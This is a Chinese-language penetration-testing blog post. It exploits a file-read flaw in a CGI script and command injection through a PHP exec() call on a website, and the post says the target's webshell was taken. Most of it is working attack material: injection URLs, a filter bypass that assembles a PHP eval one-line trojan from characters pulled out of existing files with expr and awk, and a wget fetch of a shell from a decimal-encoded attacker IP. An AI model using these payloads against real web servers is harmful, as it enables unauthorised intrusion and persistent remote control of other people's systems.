linux滲透測試技巧2則
0x00 背景
發現一網站存在漏洞,遂進行測試:
這是一個獲取網頁原始碼的cgi指令碼http://xxx.com/cgi-bin/printfile.cgi?file=http://www.baidu.com
習慣性的,在file後面測試 ../../../../../
包含或者讀取漏洞均無效.有意思的是使用File協議(本地檔案傳輸協議)成功讀取目錄以及檔案。
目標環境是Red Hat6.5+Apache ,接下來的工作翻翻敏感檔案,找找配置檔案收集資訊定位當前站點路徑.
0x01 發現突破點
經過一段搬磚的時間檢視,當前站點沒有什麼可以利用的,同服站點的指令碼語言主要以cgi perl 為主,少量php .一貫地毯式搜尋可以利用的程式碼,期間找到不少有執行許可權的cgi指令碼,嘗試在瀏覽器中訪問,但是都提示 500內部錯誤,這樣即使成功執行了也無法得知程式碼執行狀態,只能放棄.又經過一段搬磚的時間,在同服站點的php檔案中終於讓我找到了一行有意思的php指令碼程式碼.
#!php
exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');
exec() 執行外部程式,只要能控制 PICNAME='.$file.' 中的變數$file,那就有可能執行系統命令.果斷儲存程式碼本地測試.
程式碼分析如下:
#!php
<html>
<head><title>Content</title>
<link rel="stylesheet" type="text/css" href="style.css"></link>
<link rel="stylesheet" type="text/css" href="styles.css"></link>
<script type="text/javascript" src="common.js"></script><script type="text/javascript" src="css.js"></script><script type="text/javascript" src="standardista-table-sorting.js"></script>
<script type="text/javascript" src="toggle.js">
</script>
<script type="text/javascript">
function updateAppletTarget(q) {
parent.applet.updateAppletTarget(q);
}
</script>
</head>
<body>
<div id="change">
<?php
$id="";
if (isset($_POST["id"])) $id=$_POST["id"]; // GET或POST接收輸入id
else if (isset($_GET["id"])) $id=$_GET["id"];
if (strlen($id)>0) {
// PUBLIC_ID_SEPARATOR
//$id = ereg_replace(":","|",$id);
#$id="tesdts.fdkjfls|fjksldaf.fdsfaa";
#echo $id;
#note: equivalent function is used in fi.jyu.mit.utils.FileLib.java
#$file = ereg_replace("\\||\\.","_",$id);
$file = ereg_replace("\\||\\:|\\.","_",$id); // ereg_replace -- 如果id傳入資料中包含\|:.,_,則ereg_replace正則進入下一個判斷。
// string ereg_replace ( string pattern, string replacement, string string )
#echo $file;
if (strpos($file,'\\') !== false // \\strpos檢索$file中的字元竄是否包含 \\ 則為false
or strpos($file,'/') !== false
or strpos($file,':') !== false) die('Not current directory'); // 提示 Not current directory(非當前目錄)
// refresh html file and pics
# exec('make -f Makefile -C .. PICNAME='.$file.' htmlcheck');
# exec('make PICNAME='.$file.' htmlcheck');
# die('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');
exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf'); # $file往上看
#exec('make PICNAME='.$file.' dot2png dot2png_large dot2pdf');
if ((!file_exists("html/".$file.".html")) || (filesize("html/".$file.".html")==0)) {
echo "päivitetään "."html/".$file.".html";
?>
<script type="text/javascript">
updateAppletTarget('<?php echo $id ?>');
</script>
<?php }
else readfile("html/".$file.".html");
}
?>
<!-- disabled temporirarily
<a href="#" onclick="updateAppletTarget('edit');return false;">Muokkaa</a>
-->
</div>
</body>
</html>
下圖是本地測試,被過濾的字元:
#!php
$file = ereg_replace("\\||\\:|\\.","_",$id);
這裡的| 以及.都被替換成_(下橫)出現 // \\
路徑符號則提示Not current directory(非當前目錄)
#!php
die('make -i -f skriptit/Makefile DOT\_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png\_large dot2pdf');
die 列印結果看看:
列印結果可以得知
aaaaa, '`
都能帶入而且;(分號)也成功執行那麼就有意思了,構造語句就是:
http://localhost/test.php?id=aaaa;echo test >aaa
成功寫入當前目錄.
當然,還可以執行命令,也同樣把命令執行結果寫入檔案得到回顯.
http://localhost/test.php?id=aaaa;id >aaa;
注意末尾多加了一個;(分號)截斷了後面多餘的東西.
接下就是寫shell,理清一下思路:
#!php
$file = ereg_replace("\\||\\:|\\.","_",$id);
| 以及.都被替換成_(下橫),出現 // \\
路徑符號則提示Not current directory(非當前目錄),寫shell 需要.(點)加字尾 ,如果直接寫檔案
http://localhost/test.php?id=aaaa;echo <?php eval($_REQUEST[v]);?> >zzz.php
那麼得到的檔名是 zzz_php,這裡也不能用\ 來轉義.
小夥伴們可能會說,媽蛋,不是還能下載檔案嗎. 程式碼這樣寫
http://localhost/test.php?id=aaaa;wget www.ccav.com/shell.php
那麼得到的結果是:
Not current directory
因為包含了.(點)跟路徑符號.
0x02 繞過方式
到這得考慮如何繞過過濾分別使用兩個方法得shell.
1如何echo 寫shell
2.如何透過下載得shell
第一種方法:
如何echo 寫shell,以寫一句話PHP木馬為例,主要解決的是.(點)的問題,$(美元符號),以及>(管道符號)和括號.我這裡使用的方法是”借花獻佛”
echo完整的語句如下:
#!php
echo <?php eval($_REQUEST[v]);?> >test.php
既然不能生成那就 ”借”,直接借現有檔案中的字元.可以從變數中借或者從現有的檔案中借.用到的方法是linux Shell expr的方法.
如下圖,列印了test.php檔案中第一行的 6個字元,要做的就是把需要的字元都從檔案中借過來。(示例的test.php 就是漏洞檔案本身)
接下來就是體力活了,要把一句話木馬中所有被過濾的字元都依次借過來. 要注意的是,讀取字元的間隔貌似不能包含空格,否則expr會判斷列數錯誤.
[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 5 1`
"
[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 1 1`
$
[email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 1 1`
<
[email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 6 1`
>
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 35 1
)
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 33 1
(
[email protected]:/var/www# expr substr $(awk NR==20 test.php) 7 1
;
[email protected]:/var/www# expr substr $(awk NR==17 test.php) 2 1
?
最後總算湊夠數了,完整的語句是:
echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php
在shell 下成功執行
到這裡馬上就能拿到shell了,用不了多久,我就會升職加薪,當上總經理,出任CEO,迎娶白富美,走上人生巔峰。想想還有點小激動呢,嘿嘿~~
我擦,這怎麼玩......在測試環境上執行出現的結果,萬萬沒想到最終還是有.(點),因為讀test.php檔案,還是需要帶字尾. 你妹啊.....
又回到點的問題.這次直接ls >xxx 把當前目錄下的檔案(目錄檔案帶了字尾)都寫入xxx,然後在從xxx 中借.(點),替換原先的語句。
http://localhost/test.php?id=aaaa;ls >xxx;
以我本地環境為例,xxx檔案的第1行第2列(2.php)的字元就是.(點)
將原來語句中的test.php的.(點) 都替換成
`expr substr $(awk NR==1 xxx) 2 1`
原語句:
echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php
改為:
echo `expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx) 2 1`php) 1 1`?php eval`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx) 2 1`php) 33 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx) 2 1`php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx) 2 1`php) 35 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx) 2 1`php) 7 1``expr substr $(awk NR==17 test`expr substr $(awk NR==1 xxx) 2 1`php) 2 1``expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx) 2 1`php) 6 1` >2`expr substr $(awk NR==30 test`expr substr $(awk NR==1 xxx) 2 1`php) 13 1`php
執行出現了語法錯誤.
換一個思路,原來繞了個大彎路.直接cat test.php > xxoo
就解決了. 不過這樣還是過濾成了test_php,只能先從 xxx把點借過來.
語句:
cat test`expr substr $(awk NR==2 xxx) 6 1`php >xxoo
這樣把test.php寫入xxoo檔案就ok了
最後把test.php全部改成xxoo就解決了點的限制
原語句:
echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php
修改後:
echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php
測試環境成功執行:
http://localhost/test.php?id=anything;echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;
最終成功寫入完整的php一句話木馬.拿下目標webshell 許可權.
總結步驟:
1)
ls >xxx ,cat xxx //先找點,得到.的行列數。
2)
Cat test.`expr substr $(awk NR==1 xxx) 2 1`php > xxoo //將test.php 寫入xxoo檔案,方便後面讀取。
3)
echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php; //所需的字元從替換成xxoo檔案中的字元。
第二種方法:
透過下載檔案得到shell,這種方法要省事很多,要解決的關鍵還是.(點),還有//(路徑符).(點)的解決可以用數字IP的方法繞過.
需要條件:
外網能用ip訪問的webserver,以及目標存在wget程式和當前目錄有寫檔案許可權。
線上轉換連結:
http://tool.chinaz.com/ip/?IP=127.0.0.1
以本機為例(ubuntu +apache2:)
1.先轉換得到數字ip 127.0.0.1 = 2130706433
2.將外網的伺服器的php解析去掉,在apache配置檔案中將下面引數註釋
#LoadModule php5_module /usr/lib/apache2/modules/libphp5.so
3.在根目錄建立index.html檔案,內容為`<a href="shell.php">test</a>`,建立shell.php 內容是馬.
4.使用wget 整站下載功能下載(wget自動沿著href 指向爬到shell.php並下載)
Ps:貌似用301跳轉也可以,不過我沒有測試
引數: wget -r 2130706433
效果如下圖,下載後以目錄結構的方式儲存檔案得到shell。
0x03 最後
歡迎大家指正錯誤或紕漏,以此文為例,希望大家分享一些linux shell下繞過字元過濾寫shell的方法,
最後感謝月哥悉心的指導。
相關文章
- Linux滲透測試2018-05-31Linux
- 滲透測試技巧總結2019-03-30
- linux滲透測試後續指南2018-06-08Linux
- 滲透測試的WINDOWS NTFS技巧集合(一)2018-09-06Windows
- 滲透測試的WINDOWS NTFS技巧集合(二)2018-09-07Windows
- 滲透測試工具實戰技巧合集2018-06-10
- 滲透測試是否需要學習Linux2021-05-13Linux
- 滲透測試會用到哪些工具?滲透測試教程2021-08-05
- 什麼是滲透測試?為什麼要做滲透測試?2021-08-10
- 什麼是滲透測試?滲透測試分類方式有哪些?2023-10-17
- 什麼是滲透測試?滲透測試分為哪幾類?2021-08-11
- 滲透測試怎麼做?滲透測試的步驟有哪些?2022-04-08
- 你真的瞭解“滲透測試”嗎?滲透測試有何作用?2022-03-18
- kali linux 2.0 web 滲透測試 電子書2019-03-04LinuxWeb
- Kali linux滲透測試系列————28、Kali linux 滲透攻擊之社會工程學攻擊2018-05-16Linux
- 滲透測試報告2024-03-22測試報告
- 滲透測試之nmap2020-10-25
- 【滲透測試】Vulnhub DarkHole2024-08-19
- 網站滲透測試漏掃工具的應用技巧2020-12-14網站
- 滲透測試什麼?滲透測試具體操作流程是什麼2022-03-31
- 網路安全滲透測試的型別!滲透測試入門教程2021-08-02型別
- 什麼是滲透測試?滲透測試培訓班如何選擇?2022-11-08
- 什麼是滲透測試?滲透測試的服務方式有哪些?2023-03-29
- metasploit滲透測試筆記(內網滲透篇)2020-08-19筆記內網
- 什麼是滲透測試?網站有必要進行滲透測試嗎?2023-09-19網站
- 滲透測試是什麼?滲透測試三種分類主要包括哪些?2022-03-09
- 網路滲透測試實驗(2)之欺騙2020-11-18
- 網路安全滲透測試2018-06-01
- 滲透測試-資訊收集2024-04-22
- GraphQL滲透測試詳解2023-04-24
- 滲透測試------資訊收集2020-06-27
- Burpsuite 滲透測試工具使用2020-08-22UI
- 滲透測試實驗二2020-11-21
- 物理滲透測試基礎2019-03-26
- 【滲透測試】Vulnhub Hackable II2024-08-19
- Web 端滲透測試初探2024-06-26Web
- 滲透測試之域名收集2021-07-19
- 滲透測試——資訊收集2021-05-28